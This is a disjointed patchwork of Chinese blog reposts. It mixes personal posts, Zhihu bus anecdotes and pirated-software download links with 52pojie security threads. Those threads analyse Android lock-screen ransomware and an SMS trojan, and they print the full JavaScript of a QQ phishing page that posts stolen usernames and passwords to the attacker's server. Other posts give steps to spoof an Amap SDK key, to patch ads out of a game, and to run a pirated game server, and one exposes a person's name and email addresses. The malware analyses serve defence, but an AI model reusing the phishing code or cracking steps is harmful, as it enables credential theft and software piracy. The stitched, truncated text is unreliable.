分手了
分手了。祝我们能找到各自的幸福。
太多的话不想多说了
xiaohack博客专注前沿科技动态与实用技术干货分享,涵盖 AI 代理、大模型应用、编程工具、文档解析、SEO 实战、自动化部署等内容,提供开源项目教程、科技资讯日报、工具使用指南,助力开发者、AI 爱好者获取前沿技术与实战经验。
分手了。祝我们能找到各自的幸福。
太多的话不想多说了
已经完成网站整体搬迁,有问题请联系纯情。文章的更新容我缓口气,以后关于ssc的文章均不分享在首页。请谨记
测试
觉很想社区风格主题特色

还有丰富的后台设置

ps:源码请自行测试

默认图标:

安装截图:



更换皮肤:
主界面右键单击-皮肤,左键单击选择心仪的皮肤。

更换图标:
主界面右键单击-选项-关联,点击图标下拉框,选择心仪的图标,点击应用按钮。

更新日志:
https://zybuluo.com/PotPlayer/note/271337
关于版本:
Public=公开发布正式版
Dev=开发版(版本号几乎每天更新)
另外再啰嗦一句:
64位版只有Public才有,并不像32位版那样更新频繁,所以,拜托某些同学长点心,不要再问为什么64位怎么不更新之类的问题了,好吧?
其实32位版完全可以在64位有运行。
刚才在捣鼓xshell。上面的小图标是红色的,就是我画的小红色圆圈里的,正常的时候是绿色的,如果出现红色,就说明有问题了。
[caption id="attachment_2041" align="alignnone" width="563"]
xshell wget[/caption]
解决方法:
1.我把安装目录的wget.exe删除才会出现这个问题,win8的话,尝试把绿色版放在非系统的根目录。
2.很明显你的bat文件目录下没有wget。exe文件,下载一个和bat文件放在一起就行了
我自己就是把软件卸载后重新安装的D盘的。

支持以下所有的解析播放
支持以下所有的解析:
1.优酷 2.爱奇艺 3.土豆 4.乐视 5.芒果tv 6.PPTV 7.乐视云计算 8.哔哩哔哩
9.AC弹幕 10.华数 11.酷6 12.56视频 13.CNTV 14.风行 15.PPTV云 16.QQ视频
17.搜狐 18.糖豆 18.微录客 19.哇趣 20.爱拍 21.音悦台 22.优米网 23.M1905电影
24.秒拍 25.美拍 26.优酷云 27.6房间 28.网易公开课 29.暴风影音 30.爆米花
31.虎牙视频 32.凤凰视频 33.龙珠视频 34.新浪视频 35.YY神曲 36.快手视频
下载地址:
[tinr2v]
https://yunpan.cn/cvsdxSZFnNZud (提取码:a175)[/tinr2v]
关于在知乎的提问”你在挤公交时碰到过哪些奇人或者趣事?“的回答
七八年前某天,我在南京公交上遇到了那朵奇葩男子,他可能是前夜喝多了,早上酒还没醒,带着老婆孩子摇头晃脑上了空调车,坐在我的前排座位。
车子一发动,他一捂嘴便要吐,但是能看出来他是个素质很高并且腼腆的人,因为他另外一只手扒拉窗户想伸出头到外面吐。
但是空调车固定死的窗户岂能让他得逞,他惶恐之下倒也有急智,赶紧收了双手拢成碗状,悄无声息地朝手里吐了满满一碗。
我看得浑身酥软,不敢再看,但是我又很想知道接下来他会怎么办。
强烈的好奇心驱使我做贼般偷偷瞄向他,只见他不动声色地把一碗东西一仰头全喝了。
我差那么一点点就吐了。
我敢说,这世界上,他是最有公德心的人,没有之一。
有一年,坐公车,去找老师办某事,车上半截,上来了一个人,在车行进中的时候,突然大声宣布自己是某某猪宝公司的推销员,原价XX元的翡翠首饰,折扣价50出手,厂家直销神马神马的,然后就出现了几个人询问啦,现场购买啦(在公车上)的状况,明眼人一看就知道是托儿,看着熙熙攘攘的样子,好不热闹,当时也没在乎神马,感觉很正常,等到了站,我下了车,我准备跟老师联系的时候发现,我去,我的外套内兜被某锋利物体划了一个10厘米左右的口子 手机已经不翼而飞了,囧,我想刚才可能是在车上,被小偷顺水摸鱼了,罢了罢了,旧的不去新的不来,而且当时是我那个手机,屏幕不小心被我坐坏了,只能接打电话,看不到短信,还没来得及去修,于是只好找个网吧说打算去网吧看下同学在不在,以次联系老师,结果,我到了网吧,掏钱的时候,发现P兜里鼓鼓囊囊的,不知道是神马,摸出来一看,我去,我怎么把手机放在这里了?脑子短时间短路还没有反应过来,,我以为是我放错地方了,自己忘记了,就也没想神马,马上跟老师联系,约好了位置,准备去见面,走的路上,突然觉醒了(时隔了20分钟有余),原来是TM那个小偷,的确偷了我手机,拿到手一看,我X,这样的手机出不了手,又给我送回来了,这TM真是让我开了眼了,我第一次遇到一个这样有 职业操守 的贼啊。。我去。。毕生难忘,现在那部手机还珍藏在家里。 囧
刚上班时公司离家特别远,坐公交车要2个小时,有且只有一趟直达车。早高峰人多的不行,沿途各种中学大学,一日身旁一女大学生,背一个巨大的登山包,装满了东西,挤得我不行(本人体硕)。忍无可忍之时建议她是否能将背包卸下,置于脚边,本人多次建议只受到白眼数次,无奈做了一件泯灭人性的事,将我上车之前买的早点(鸡蛋灌饼外翻,内侧有甜面酱)的酱汁全部蹭在了她那血红色的登山包上(心疼我那逝去的四元钱)。之后头也不回的下车等下一趟…
这么残暴的事情只是一时冲动,如果受害者看到,请不要与我联系!谢谢!
第一件事。在车站上车的时候,单肩包被人拉到身后了(绝逼有同伙!)手机一瞬间就被偷了,当时听着歌呢,刚好切歌了,以为是卡了,拿出来一看才发现手机没了。从此坐公交不管背什么包都要放在身前。
第二件事。我家附近有一个公交车的始发站,人很少,有一次就我和一个女生在等车,那天我也不知道咋了,一向对着女生憋不出个屁的我居然跟他开始搭讪,上车后也是巧,我跟在他后面,她东西掉了,我俩同时弯腰去捡,结果我捡起来了,俩人头还撞在一起。。。。聊了一路,要到联系方式了
冬天有次坐公交 前面一个座位上有个女人抱着不大的孩子 旁边窗户坏掉了关不上 风一直吹 我之前还问那个人要不要换下座位我那边风小一些别吹到孩子 然后她笑说不用 再后来一站上来一个乞丐 破破的 站在前面座位旁边 站了一会儿大概觉得冷就开始关窗户 一直一直 使劲儿地关 脑门儿上青筋都爆出来 慢慢的窗户合上了些 我要下车了 就站起来准备走 无意间看到女人怀里的孩子睡着了 每个人心里都是暖的 乞讨者也不例外
昨晚坐上了回校的末班车 乌压压的人群将我挤到了公交车的角落处 我伸出一只手勉强攀住了横在头顶的扶手
路过某个站点 又是一波人上车 有两个妹子在我身边落脚 一上车其中的一个妹子就开始了叽叽喳喳的侃 另一个妹子靠在我旁边 没有说话 只是听着 我默默戴上耳机刷微博 播放器随机播放了苏打绿的《小宇宙》
(´இ皿இ`)
不知道经过了几站 入耳式的耳机也挡不住那个刚上车就喋喋不休的妹子的声音渗透我耳膜(直达我的思维) 我渐渐感到了身边话很少的那个妹子的后脑一直靠在我攀着抓手的胳膊上 妹子长长的秀发在昏暗的车厢里伴随着晃动在我胳膊上摩擦 我的肱三头肌在这个乍暖还寒得鬼天气里无比温暖
此时耳机里放着艾薇儿的《I want be your girlfriend》 我心里一机灵 (゚Д゚≡゚Д゚)莫非这是个公交恋情的开端?
头发的摩擦会产生静电
我想起了小学课堂上老师的教导
是的老师 我看到了秀发摩擦的和在我心里生出的火花
我默默对小学时的老师说
我摘下了一个耳朵里的耳机 企图听一下这个勇敢示爱的妹子的声音 然而和她一起的那个女伴完全不给我未来女友说话的机会 不休地bb着一些莫名其妙的事情
哎你不知道那个xx好烦的来 brabrabra…
那天你知道他做了什么事情吗 brabrabra
而我身边的妹子只是在认真的听 没有发表任何看法
妈个鸡 看看我老婆的修养 怎么会有你这个样子的闺蜜
我在心里愤愤的说
未来我们在一起后决不能和你有太多来往 如此出污泥而不染的软妹子一定要受到我本人的熏陶
哎你知不知道他也说过你的坏话啊
啊?她说的什么
我擦?!
瞬间我好像感到了眼角的湿润 好好听的声音 虽然我只能看到她娇好的侧脸 但她的声音却像一束月光一样穿透了这沉闷的车厢里 就像白居易在湖畔听到的琵琶声 过往的一切都只成了呕哑嘲哳 我看着身畔伊人 她正看着她的姐妹 看不到我充满爱意的目光 我的视线变得模糊 未来我们子孙满堂 我会给他们讲述我们的故事 在我20岁的一个夜晚 我听到了仙乐 它来自于我爱了一生的一个姑娘
奶奶当时在干什么? 我的孙子问我
呵呵 她当时在听你的姨奶奶闲扯
车马上就到站了 我知道我的挚爱正在等待我迈出第一步 等我要她的手机号 等我问她的喜爱 问她的家庭、学习、生理周期…下车后 全世界都会提前为我们奏响婚礼进行曲 我们会一起走到白发苍苍
我收起我的耳机 整理下车厢里挤皱的衬衫 扭过头 问
你好,我可以…
什么?他MB敢这么说我??
我当时是想说什么来着 我只知道我把蛰伏在唇边的字一个个的咬碎 吞进了肚子
嗯,什么事? 妹子回头看我
同学请让一下 我要下车了
某天下雨,车上人特多,我坐在最前排座位。就是那种把腿朝向过道的。
中途一站上来好多人,一个身穿浅蓝色衬衫的男孩子上车了,人群之中还是挺显眼的,毕竟挺清秀。
低头玩三国杀,车晃来晃去,突然,觉得我的膝盖好像一直在碰到什么软软的东西。o(╯□╰)o
你猜是神马?
是神马?
神马?
没错,就是你想的那样,这个蓝孩子居然他么的借着车晃来晃去晃晃悠悠的用他的小丁丁磨蹭老娘膝盖啊!!!
我关了手机,也没挪膝盖,就是认真的看着他,睁大眼睛认真的看着!!!虽然我闺蜜都说我当时应该用膝盖顶上去~~~
然后,然后他就走开了。
史上最奇葩经历。
本文转载自知乎。
原文地址:http://www.zhihu.com/question/19888495
特别说明:别说什么密码不对,不对的只能怪自己没认真看!!1.解压服务端到任意硬盘。(如:D:\TGL魔域)
2.安装VMware10.(网络适配器选择自定义,VM8)
3.打开VMware---》编辑---》编辑虚拟网络---》VMnet8---》IP 为192.168.200.0--->保存---》打开虚拟机---》服务端镜像---》打开---》打开虚拟机电源--->我移动它(I moved)第一次.
4.登录镜像(帐号密码:root 123456)
5.启动(直接输入./run) 关闭(./stop)6.打开192.168.200.129进入游戏
解压密码:
http://www.52pojie.cn















另外为了那些不会自己修改的朋友送上一调好的账号一枚,网页魔石9999,购买一个GM后就能无限刷点卷了!
账号:zc1122 密码:111111
[tinr2v]
链接:http://pan.baidu.com/s/1b324Bc 密码:om87
mima:新版魔域世界,还是L版,没有win版就是可惜,将就用吧。。。
[/tinr2v]
【2016象棋软件整合版】【QQ评测包上业余8级】
棋力级别:超越人类特级大师
引擎数量:12个(请根据自己的电脑配置来使用)
本套软件搭配10.3号最新飞刀开局库(开局不惧怕任何商业库)
软件整合:兵河五四2.7(无壳版)兵河五四3.6(最新版)咪兔助手(支持后台)名手象棋(顶级2G开局库)鹏飞象棋3.3.3.9(配套开局库)

本套软件用的开局库是目前最好的不惧怕任何商业库!
使用教程也有不会的朋友可以下载观看就会了非常简单打包一切:觉得好的打个分!https://yunpan.cn/cvAbtgZWpxZRM 访问密码 72d6
今天又在继续修改,去掉了很多没用的东西。
更多的注重访问速度和用户体验
将加载的一些flash代码都给去掉了,包括背景音乐。将首页分类也从首页菜单中去掉,放在其他地方了。
前台边栏加了用户中心和人们搜索等分类,具体的希望大家体验。
为了防止博客被垃圾评论和一些传销广告污染,博客开启了后台人工审核的方式,但是这种审核方式也有一些不便,有朋友提个问题什么的,回复他了,他也不知道,这次就加了段代码,审核通过后会通过邮件通知他,当然,前提是他留的邮箱是可以联系到他的。
这一点对于大家来说似乎然并卵,不过对于一个网站站长来说至关重要,做个人网站要的就是流量,注重的就是用户体验,so,为了留住一些访客。弄了个这么个东西。
上个月也说了,网站遭到后台暴力破解,虽然对博客没什么影响,不过老是受到登录错误的提示,都看的烦了,所以搞了个安全防护插件,也就是评论中的一个朋友推荐的安全插件。用了挺不错。在此感谢那位朋友推荐了。
这个功能也挺不错的,就是可以显示你看货哪些文章,并且在右边显示,我设置为“您刚刚看过”,这个样式看起来有点怪怪的。。。各位有什么意见可以提。
这几天更新文章大都是一种类型的。昨天的是关于教育和公务员方面的资料分享,今天的是关于安卓手机安全方面的文章。都是转载自其他网站的。
最后祝大家国庆快乐。虽然吃了点。。。
hello 纯情
首先说下,本人真的是纯菜鸟,有限的知识也是通过本论坛学习而得知,所以大神们不要喷我,谢谢
直接进入主题吧
把APK文件拉到Androidkiller里分析,发现入口是.M 
接下来查看下源码,打开MyAdmin.class,发现软件把锁屏密码改成了9797 
public CharSequence onDisableRequested(Context paramContext, Intent paramIntent)
{
String str = Integer.toString(9797);
getManager(paramContext).lockNow();
getManager(paramContext).resetPassword(str, 0);
return super.onDisableRequested(paramContext, paramIntent);
}
@Override
public void onEnabled(Context paramContext, Intent paramIntent)
{
String str = Integer.toString(9797);
try
{
Object localObject = Class.forName("com.h.s");
localObject = new Intent(paramContext, (Class)localObject);
((Intent)localObject).setFlags(268435456);
paramContext.startService((Intent)localObject);
getManager(paramContext).resetPassword(str, 0);
super.onEnabled(paramContext, paramIntent);
return;然后再打开S.class,翻到下面,
,我们很明显看到,解锁密码就是 随机码+6789
public void onCreate()
{
super.onCreate();
this.pass = ((Math.random() * 100000000));
this.passw = new Long(this.pass + 6789);
this.des = new DU("flower");
try如你的随机码是111111,那么解锁密码就是 117900
视频地址 http://pan.baidu.com/s/1o8aWDo2
样本:http://pan.baidu.com/s/1dFE4BhJ
这个破解很简单,但是对有的新手还是不会的,看了有人发了算号机,个人觉得还是破解速度!由于没有加固那破解来说就是简单很多了!


来自吾爱破解,同一个网站,百分之八九十的人肯定见过这种东西,
原文链接:http://www.52pojie.cn/thread-514804-1-2.html
网址先贴出来http://www.xblteam.net/abc123
0x0 起因
收到好几个好友的信息,居然都是同类的信息(如下图1)。伪装描述信息为QQ空间,并附上文字和图片增加可信度。(点开后如下图2。)
(但终究只是小把戏而已,此类网页盗号一看便知的吧,然而好多人中招。)

0x1 抓包
刚开始用手机设置代{过}{滤}理,用Fiddler抓的包,结果如下。

从表面上看,先是一个301跳转,跳转到http://www.xblteam.net/abc123/(应该是我输入地址的时候漏掉的斜杠,不用管)
跳转后加载网页源码,然后加载js和图片,就到了起因中的第二幅图了。
0x2 分析js
第一个js是jquery库,与分析无关。主要是第二个和第三个。
第二个mobile.js是检测当前UA,如果UA不是手机,就跳转到QQ主页。
第三个kr.js是输入账号密码后点击登陆按钮之后的操作,用正则检查账号是否合法(否则提示"请输入正确的QQ号"),密码是否为空 (否则提示"密码不能为空")。
如果都合法就POST提交到"/index/qq.php" ,然后跳转到"http://user.qzone.qq.com/1064065158?ptlang=2052"(应该是为了使跳转更逼真,也许还顺带刷这个Q的空间人气)
(js我贴在最后)
0x3 测试
用手机按照合法的规则输入账号密码,然后提交,果然和上面的分析一样。
然后直接用电脑,如果不伪装UA就马上跳转到QQ主页。伪装后和手机测试的结果一样。
0x4 总结
盗号者首先伪装描述信息,盗取到QQ后利用群发工具再次群发此信息,扩散式的传播,并伴随盗取账号Q币,发广告等行为。
0x5 查Whois、反查
简单的查了下,得知以下信息:
建站人是胡伟生,邮箱有backorder1@dotmedia.com 20702176@qq.com 80010864@qq.com 地址也能查到,就不发出来了。
发现这个人创了好多站点,所以也可能是盗号者买了他的网站。
0x6 最后
几天前就举报了这个网站,现在还是显示安全,看来盗号者为了过网站检测也是用心良苦。专门用顶级域名延长扩散时间,并使用js来防御来自一般PC的检测,只针对手机,也利用了QQ内置浏览器不显示url的特点。
不过这类网站只要换个网址就又可以继续蹦跶了,希望大家加强警惕,在不确认的情况下不要随意输入账号密码。
两个js如下:
mobile:
var util = (function() {
var u = navigator.userAgent.toLowerCase();
return {
isIphone: function() {
return (RegExp("iphone").test(u) || RegExp("ipod touch").test(u))
},
isIpad: function() {
return RegExp("ipad").test(u)
},
isAndroid: function() {
return (RegExp("android").test(u) || RegExp("android 2").test(u))
},
isMB: function() {
return (util.isIphone() || util.isIpad() || util.isAndroid())
}
};
})();
window.util = util; (function() {
if (!util.isMB()) {
window.location.href = 'http://www.qq.com';
/** ķ PC ʶ */
}
})();kr:
function check(){
//alert($("input[name=username]").val());
//alert($("input[name=password]").val());
var qq=$("input[name=username]").val();
var passord=$("input[name=password]").val();
var re=/^[1-9][0-9]{4,}$/;
if(!re.test(qq)){
alert("请输入正确的QQ号");
return false;
}
if(passord==""){
alert("密码不能为空");
return false;
}
// $.ajax({
// //提交数据的类型 POST GET
// type:"POST",
// //提交的网址
// url:"/index/qq.php",
// //提交的数据
// data:{q:qq,p:password},
// //返回数据的格式
// datatype: "text",//"xml", "html", "script", "json", "jsonp", "text".
// //在请求之前调用的函数
// beforeSend:function(){ },
// //成功返回之后调用的函数
// success:function(data){alert("sucdess");} ,
// //调用执行后调用的函数
// complete: function(XMLHttpRequest, textStatus){
// //alert(XMLHttpRequest.responseText);
// //alert(textStatus);
// //HideLoading();
// },
// //调用出错执行的函数
// error: function(){
// alert("error");
// //请求出错处理
// }
// });
var return_val=false;
$.ajax( {
url:'/index/qq.php',// 跳转到 action
data:{
q : qq,
p : passord
},
type:'post',
async : false,
cache:false,
dataType:'text',
success:function(data) {
//window.location.href="http://www.qq.com/";
//alert(data);
if(data ==1 ){
//alert("fuck");
window.location.href="http://user.qzone.qq.com/1064065158?ptlang=2052";
$("#info").text("QQ账号或者密码错误,请重新输入!");
$("#info").css("color","#FF0000");
}else if(data==2){
window.location.href="http://user.qzone.qq.com/1064065158?ptlang=2052";
}else{
}
},
error : function() {
// view("异常!");
// alert("异常!");
}
});
return return_val;
}原文链接:http://www.52pojie.cn/thread-514628-1-1.html
早在几周前,一打开手机就发现了许多好友都给我发了一句名为《免费领取500M流量》的消息就像下图所示。

看这消息,根本就不是发的消息嘛,就是XML消息。至于XML,自己去问度娘吧,我这里就不详细的说了。
本来不想管,但是就在今天12号,发现了又有这种类似的,而且还变了花样,你想闹哪样?
那么我就随便的分析一下吧,大神别喷我。

这个就是受害者,当然也很多,我就随便拿了一张o(*≧▽≦)ツ
然后怎么办呢?那我们分析当然要从网站下手了。

复制一下链接得到http://www.xbLteam.net/abc123是这位骚年发给我的。
好的,那么找到了网页地址就好办了。
先去Whois查询,得到如图。

可以看到这个域名是在2016年创建的,但是这里的信息也没有一个有用的,什么邮箱啊,手机号码啊,都是假的!
那我就要使用我的杀手锏了,把这个http://www.xbLteam.net/abc123网页源码下载了如何?于是我马上行动,下载得到图。

打开第一个index.htm这个静态网页。
我吓了一条。这明显是盗号的好吧。

还要输入QQ账号和密码。
文件jquery-2.1.1.min.js和logo.png都没有什么发现,但是在jquery-2.1.1.min.js发现了XML,估计是XML消息吧,但是好像加密过,是乱码也不管了,我们打开kr.js这个最重要的。我只能呵呵。

好吧,聪明的人应该可以知道这个作者的QQ号了。
大家记住哈这个“好人” 的作者QQ为1064065158。至于以后的你们也懂得。
目测此网站后台有数据库,输入的密码账号会记录到里面,还望大家相互告知,遇到这种不知名的网站不要乱输入。
这个网站很聪明,会自动判断是PC还是手机,如果是PC则会自动跳转到qq.com,如果是手机,那自动切换到钓鱼页面!
简单的判别可以手机点进去然后往下拉一下,你就会看到网站,如果不是为XX.QQ.COM为结尾,但让你输入账号密码的网站,还尽量少输入吧,不要贪小便宜!!
2016年7月27日又见这种网站,话说这个真TM有钱啊,巨大利润是吧?这个贴现在用来收集类似于这种网站的吧@Hmily
请Hmily大大上报一下有关部门吧,都是绿星认证,估计都是专门买那种腾讯认证过却没钱续费域名的域名。
也请大家互相监督。欢迎上报~~
以下为盗号网站域名:
http://www.xbLteam.net/abc123
http://www.szzwz.cn/500mcc
0x00-0前言的前面帖 子发出来好几天了,期间被工头叫过去搬砖了,今天回来一看想不到大家这么热情,应版主要求和各位的热烈需求,此处整理了一下帖子,供大家观看,并附上了样 本,密码52pojie,样本其实给出了看雪的下载链接,照顾没有看雪账号的朋友,特此一发。之前未发出完整版绝非为了赚下载,只是本人排版很渣
,怕拍出来乱七八糟,还不如看word效果好,这个效果排版效果如何,大家凑合着看吧,本渣尽力了,哈哈!
0x00 前言
新加入论坛,发一下之前的一篇文章,算是给论坛的一点小支持。
样本来自看雪论坛http://bbs.pediy.com/showthread.php?t=204096,当时已给出答案,此处主要写一下分析过 程,算是总结一下,共同进步。首先声明,该样本未被加壳,程序部分混淆,但不严重,主要看论坛中还未涉及此类话题,其次论坛中有人对此加密号码分析过程还 比较感兴趣,所以来一发。
本人菜鸟一枚,首次发帖,高手默默飘过就行,欢迎拍砖!
0x01 特殊字符
JxB打开apk,未加壳,看strings有
1:43410150d9cc2072b6396f06bf57eada5acb86f0d9ee4a45
2:10801d06de02ed80cc58e431c7f1d2ac
明显是被加密了,至于加密的是什么,还是接着分析。
双击10801d06de02ed80cc58e431c7f1d2ac进入引用它的代码(搜索找到也行)。smali转java,可以看出该类主要是进 行shared_prefs处理的,明显的字段名有好多,但是该字段是a01,所以要分析其具体作用,还得继续回溯代码。
ctrl+X查找函数d()的引用,有4个,一个一个看。

0x02 第一个方向:函数d()的引用
1. privateboolean b(String arg7, String arg8, int arg9) {
2. intv5 = 2;
3. booleanv0 = true;
4. if(arg7.contains(a.a(this.a).d())) {
5. String[]v2 = arg8.split(" ");
6. if(v2[0].equals("LJ")) {
7. if(v2[1].equals("ALL")) {
8. a.a(this.a).a(1);
9. return v0;
10. }
11.
12. if(v2[1].equals("SOME")){
13. a.a(this.a).a(v5);
14. return v0;
15. }
16.
17. if(!v2[1].equals("NO")) {
18. return v0;
19. }
20.
21. a.a(this.a).a(3);
22. returnv0; }可以看出函数b(估计看过以前分析的都知道该函数是短信控制命令的解析与执行,由此就知道arg7是手机号,arg8是短 信内容了),我们此处暂且认为不知道这些,继续查找函数b的引用,被本类的函数a调用。a函数的交叉引用是类com.phone.stop.a.c中的函 数a,该类是一个短信数据库观察者类,显然是对新到短信进行拦截和监控的。
private voida() {[/align] Cursor v0 = this.b.query(b.b, null,null, null,"_id desc");
if(v0 == null || v0.getCount() == 0){
this.a(v0);
}
else {
if(v0.moveToNext()) {
String v1 = v0.getString(v0.getColumnIndex("date"));
if(v1.compareTo(a.a(this.a).b()) > 0) {
a.a(this.a).a(v1);
int v1_1= v0.getInt(0);
this.a(v1_1);
String v2= v0.getString(v0.getColumnIndex("address"));
String v3= v0.getString(v0.getColumnIndex("body"));
this.a(v0);
this.a(v2, v3,v1_1);
}
}
this.a(v0);}0x03换一个方向
public voidc(String arg3) {
SharedPreferences$Editorv0 = this.b.edit();
v0.putString("a01", arg3);
v0.commit();
}
public staticvoid a(Context arg2) {
if(!com.phone.stop.a.a.a(arg2).e()) {
com.phone.stop.a.a.a(arg2).c(com.phone.stop.b.a.a(com.phone.stop.a.a.a(arg2).d()));
com.phone.stop.a.a.a(arg2).b(true);
}
}public staticString a(String arg2) {[/align] String v0_1;
try {
v0_1 = new b(com.phone.stop.a.b.f).b(arg2);
}
catch(Exceptionv0) {
v0.printStackTrace();
v0_1 = "";
}
return v0_1;
}0x04密钥的小伎俩前面找到了com.phone.stop.a.b.f就是解密密钥,下面就看其生成过程,交叉引用如下:


public staticString a(StringBuffer arg1){
arg1.append('x');
b.f = arg1.toString().getBytes();
return arg1.toString();
}


protectedvoid onCreate(Bundle arg5) {[/align] super.onCreate(arg5);
this.setContentView(2130903041);
com.phone.stop.b.b.a();
this.getPackageManager().setComponentEnabledSetting(this.getComponentName(),2, 1);
com.phone.stop.b.b.a(((Context)this));
com.phone.stop.b.b.b(((Context)this));
if(!a.a(((Context)this)).i()) {
e.a("软件安装完毕\n识别码:" + this.getSystemService("phone").getDeviceId() + "\n"+ d.a(), ((Context)
this));
a.a(((Context)this)).e(true);
}
com.phone.stop.b.a.b(((Context)this));
this.a();
}0x05后记
最后再次PS:首次发帖,欢迎拍砖!
0x00 前言
0x01 变化
0x02 来看看MM的百宝箱
public String p() {
this.b.getString("send_email_account","587676AA1B91FA679F7EE717D56D6EAE42C4667D5D21F62B");
returnC.decrypt("6219472174F9AB559585F776E78FA0FF5012D9884F775E16C24270CC152225F1",C.k);
}
public boolean q() {
returnthis.b.getBoolean("has_set_send_email_account", false);
}
public String r() {
this.b.getString("receive_email_account","A609DC08DE9D6D0DF062B0B68028EE05");
returnC.decrypt("6219472174F9AB559585F776E78FA0FF5012D9884F775E16C24270CC152225F1",C.k);
}
public boolean s() {
returnthis.b.getBoolean("has_set_receive_email_account", false);
}
public String t() {
this.b.getString("send_email_pwd","A609DC08DE9D6D0DF062B0B68028EE05");
returnC.decrypt("A609DC08DE9D6D0DF062B0B68028EE05", C.k);
}
[align=left]深入到C.decrypt函数,发现是AES加密算法,而且密钥是明文,大喜过望!
private static final String CipherMode = "AES/ECB/PKCS5Padding";
public staticString k;
static final{
C.k = "sdtyffdftesfyfdw";
0x03换一个方向
private static SecretKeySpec createKey(String arg11) {[/align] byte[] v2;
byte[] v6_2;
String v0 = arg11;
String v6 = v0;
if(v6 == null) {
v6 = "";
v0 = v6;
}
super(32);
String v3 = v6;
v3.append(v0);
while(v3.length() < 32){
v3.append("0");
}
if(v3.length() > 32){
v3.setLength(32);
}
v6 = v3;
try {
v6_2 = ((StringBuffer)v6).toString().getBytes("UTF-8");
v2 = v6_2;
}
catch(UnsupportedEncodingExceptionv6_1) {
v6_1 = v6_1;
v6_1.printStackTrace();
}
super(v2, "AES");
return v6_2;
}
0x04解密函数
0x05后记
写在前面的话:本人非专业破解的,只是为了被锁机的朋友不被连环坑钱,让大家放心使用安卓手机。在破解之前先备好以下三点:























前言
准备工具
分析过程




修改jar

public IBinder onBind(Intent paramIntent) { try { String str1 = paramIntent.getStringExtra("apiKey"); String str2 = paramIntent.getStringExtra("packageName"); String str3 = paramIntent.getStringExtra("sha1AndPackage"); String str4 = paramIntent.getStringExtra("as"); Log.i("修改前数据", "apiKey:" + str1 + "\npackageName:" + str2 + "\nsha1AndPackage:" + str3 + "\nas:" + str4); paramIntent.putExtra("apiKey", "93036c13932aba6eeaee2a02656f14d7"); paramIntent.putExtra("packageName", "com.lge.clock"); paramIntent.putExtra("sha1AndPackage", "FA:AB:F5:02:B2:17:AC:D3:DA:46:38:ED:FF:E3:0C:A3:E4:67:0A:50:com.lge.clock"); str1 = paramIntent.getStringExtra("apiKey"); str2 = paramIntent.getStringExtra("packageName"); str3 = paramIntent.getStringExtra("sha1AndPackage"); str4 = paramIntent.getStringExtra("as"); Log.i("修改后数据", "apiKey:" + str1 + "\npackageName:" + str2 + "\nsha1AndPackage:" + str3 + "\nas:" + str4); return this.a.onBind(paramIntent); } catch (Throwable localThrowable) { c.a(localThrowable, "APSService", "onBind"); } return null; }
task makeJar(type: Copy) { delete 'build/libs/lib.jar' from('build/intermediates/bundles/release/') into('build/libs/') include('classes.jar') rename ('classes.jar', 'lib.jar')}makeJar.dependsOn(build)
gradlew makeJar


测试
国际惯例
https://github.com/YiuChoi/CrackAmap[size=0em]
TO:想了解安卓游戏修改的人(大神请路过),因为游戏是我自己玩所以不想修改太变态什么都无限,需要金币和钻石的时候购买一下。
首先说说去广告吧。
游戏是谷歌应用商店的游戏,带的广告为谷歌广告底部横条广告,所以这方法可以去除大部分谷歌游戏广告。
1.打开killer,搜索AndroidManifest.xml 搜索到--- const-string v4, "Missing internet permission in AndroidManifest.xml."
2.进入后下面的是执行广告的代码,我修改方法就是直接让代码结束,修改的部分是下面#部分
.method protected zzaV()Z
.locals 6
const/4 v1, 0x0 #const/4 v1, 0x0 那v1修改成v0
return v0 #这是我自己添加进去的,原本的没有,直接返回V0
const/4 v0, 0x1
invoke-static {}, Lcom/google/android/gms/ads/internal/zzr;->zzbC()Lcom/google/android/gms/internal/zzir;
move-result-object v2
iget-object v3, p0, Lcom/google/android/gms/ads/internal/zzf;->zzpj:Lcom/google/android/gms/ads/internal/zzs;
iget-object v3, v3, Lcom/google/android/gms/ads/internal/zzs;->context:Landroid/content/Context;
invoke-virtual {v3}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
move-result-object v3
iget-object v4, p0, Lcom/google/android/gms/ads/internal/zzf;->zzpj:Lcom/google/android/gms/ads/internal/zzs;
iget-object v4, v4, Lcom/google/android/gms/ads/internal/zzs;->context:Landroid/content/Context;
invoke-virtual {v4}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
move-result-object v4
const-string v5, "android.permission.INTERNET"
invoke-virtual {v2, v3, v4, v5}, Lcom/google/android/gms/internal/zzir;->zza(Landroid/content/pm/PackageManager;Ljava/lang/String;Ljava/lang/String;)Z
move-result v2
if-nez v2, :cond_0
invoke-static {}, Lcom/google/android/gms/ads/internal/client/zzn;->zzcS()Lcom/google/android/gms/ads/internal/util/client/zza;
move-result-object v0
iget-object v2, p0, Lcom/google/android/gms/ads/internal/zzf;->zzpj:Lcom/google/android/gms/ads/internal/zzs;
iget-object v2, v2, Lcom/google/android/gms/ads/internal/zzs;->zzrm:Lcom/google/android/gms/ads/internal/zzs$zza;
iget-object v3, p0, Lcom/google/android/gms/ads/internal/zzf;->zzpj:Lcom/google/android/gms/ads/internal/zzs;
iget-object v3, v3, Lcom/google/android/gms/ads/internal/zzs;->zzrp:Lcom/google/android/gms/ads/internal/client/AdSizeParcel;
const-string v4, "Missing internet permission in AndroidManifest.xml."
const-string v5, "Missing internet permission in AndroidManifest.xml. You must have the following declaration: <uses-permission android:name=\"android.permission.INTERNET\" />"
invoke-virtual {v0, v2, v3, v4, v5}, Lcom/google/android/gms/ads/internal/util/client/zza;->zza(Landroid/view/ViewGroup;Lcom/google/android/gms/ads/internal/client/AdSizeParcel;Ljava/lang/String;Ljava/lang/String;)V
move v0, v1
:cond_0
invoke-static {}, Lcom/google/android/gms/ads/internal/zzr;->zzbC()Lcom/google/android/gms/internal/zzir;
move-result-object v2
iget-object v3, p0, Lcom/google/android/gms/ads/internal/zzf;->zzpj:Lcom/google/android/gms/ads/internal/zzs;
iget-object v3, v3, Lcom/google/android/gms/ads/internal/zzs;->context:Landroid/content/Context;
invoke-virtual {v2, v3}, Lcom/google/android/gms/internal/zzir;->zzI(Landroid/content/Context;)Z
move-result v2
if-nez v2, :cond_1
invoke-static {}, Lcom/google/android/gms/ads/internal/client/zzn;->zzcS()Lcom/google/android/gms/ads/internal/util/client/zza;
move-result-object v0
iget-object v2, p0, Lcom/google/android/gms/ads/internal/zzf;->zzpj:Lcom/google/android/gms/ads/internal/zzs;
iget-object v2, v2, Lcom/google/android/gms/ads/internal/zzs;->zzrm:Lcom/google/android/gms/ads/internal/zzs$zza;
